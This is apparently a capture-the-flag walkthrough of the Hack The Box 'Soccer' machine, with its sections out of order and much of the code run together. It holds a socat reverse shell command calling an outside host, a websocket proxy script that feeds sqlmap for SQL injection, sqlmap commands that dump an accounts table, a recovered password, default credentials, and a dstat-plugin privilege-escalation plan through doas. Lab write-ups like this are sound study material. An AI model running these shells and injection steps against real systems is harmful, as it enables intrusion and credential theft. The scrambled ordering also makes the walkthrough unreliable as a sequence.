uname-aLinuxsoccer5.4.0-135-generic#152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
To get an even better shell we can take a socat binary
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O socat from your kali
Then we put on our python web server python3 -m http.server 80
We also set up a listener with socat
socatfile:`tty`,raw,echo=0 tcp-listen:4445
Then we go to a writable directory (/tmp will do the trick) wget http://10.10.14.2/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.2:4445. And we are good to go.
Lateral movement
Let's get linpeas in our target
wget https://github.com/carlospolop/PEASS-ng/releases/download/20221218/linpeas_linux_amd64 in our kali
CVE 2021-3560 is a 95% PE vector so it is definitely worth to investigate
We have a subdomain that we did not find previously because I did not think of doing subdomain enumeration. We can update our /etc/hosts and add it soc-player.soccer.htb the full line will look like this 10.10.11.194 soccer.htb soc-player.soccer.htb
So let's try the cve first. We do not have any luck here. Turns out we are missing gnome-control-center that is a requirement for it to work.
Exploiting the subdomain
Let's create an account.
After a while and intercepting with burp we find that this is using websocket and that it is vulnerable to sqlinjection.
You can not just use sqlmap right away. Once you are able to see that it is vulnerable you need to use a proxy.
This article by Rayhan0x01 actually explains the steps really well and provide a script that can act as a proxy.
We need to modify the script so that it works for our context.
Here is the updated script
from http.server import SimpleHTTPRequestHandlerfrom socketserver import TCPServerfrom urllib.parse import unquote, urlparsefrom websocket import create_connectionws_server ="ws://soc-player.soccer.htb:9091/"defsend_ws(payload): ws =create_connection(ws_server)# If the server returns a response on connect, use below line#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here# For our case, format the payload in JSON message =unquote(payload).replace('"','\'')# replacing " with ' to avoid breaking JSON structure data ='{"id":"%s"}'% message ws.send(data) resp = ws.recv() ws.close()if resp:return respelse:return''defmiddleware_server(host_port,content_type="text/plain"):classCustomHandler(SimpleHTTPRequestHandler):defdo_GET(self) ->None: self.send_response(200)try: payload =urlparse(self.path).query.split('=',1)[1]exceptIndexError: payload =Falseif payload: content =send_ws(payload)else: content ='No parameters specified!' self.send_header("Content-type", content_type) self.end_headers() self.wfile.write(content.encode())returnclass_TCPServer(TCPServer): allow_reuse_address =True httpd =_TCPServer(host_port, CustomHandler) httpd.serve_forever()print("[+] Starting MiddleWare Server")print("[+] Send payloads in http://localhost:8081/?id=*")try:middleware_server(('0.0.0.0',8081))exceptKeyboardInterrupt:pass
Let's launch our server python3 server.py
And then we can just launch sqlmap sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
We get the user password PlayerOftheMatch2022 and if we try it on ssh, it works!
Let's connect and grab the root flag ssh player@10.10.11.194
Privilege escalation
Let's run linpeas again with this user
Interesting linpeas output to analyze further
Sudoversion1.8.31/etc/mysql/debian.cnf/etc/nginx/nginx.conf/etc/nginx/fastcgi_params/usr/share/doc/rsync/examples/rsyncd.conf/etc/ldap/tmp/tmux-33/tmp/tmux-1001/usr/share/php7.4-common/common/ftp.ini/etc/php/7.4/mods-available/ftp.ini/usr/share/bash-completion/completions/bind/home/player/.viminfo/home/player/.bash_history/home/player/.gnupg/pubring.kbx/home/player/.gnupg/trustdb.gpg/home/player/snap/lxd/common/config/config.yml╔══════════╣InterestingGROUPwritablefiles (not inHome) (max500)╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group player:
/usr/local/share/dstat
Also when checking of suid find / -perm -u=s -type f 2>/dev/null these 2 binaries seem interesting
/usr/local/bin/doas/usr/bin/at
dstat
The path to dstat is writable for the group /usr/local/share/dstat
And the doas command def seems interesting.
Googling more info on it it is suppose to have a config file /etc/doas.conf except it does not exist let's use find to see if it is located somewhere else find / -name doas.conf -type f 2>/dev/null.
Here it is: /usr/local/etc/doas.conf
This command uses plugins. We could try to make a malicious plugin. Moreover when we list the plugins dstat --list it does look for plugins in /usr/local/share/dstat. So we should be able to put a malicious script there and launch it using dstat as root.
The plugins are written in python and or writable folder can contain plugins (see here)
Let's make a python reverse shell and put it in the directory in which we have write rights.
We have to be quick it seems that our script get deleted
The copyright gives a link to the github project If we look online we can find a default username and password Default username/password: admin/admin@123 and user/12345
The admin one works and we are able to login
Once downloaded we can click on the little link icon
And we get our shell
When we visit the page the website is more complete with even a signup page
Let's keep this aside for now.
This way we could enumerate tables
Let's get more info on soccer_db first. We have a table accounts there, lets see what columns it has. sqlmap -u "http://localhost:8081/?id=1" --batch --dbms=mysql -D soccer_db -T accounts --columns
Seems to be what we are looking for, let's dump it sqlmap -u "http://localhost:8081/?id=1" --batch --dbms=mysql -D soccer_db -T accounts --dump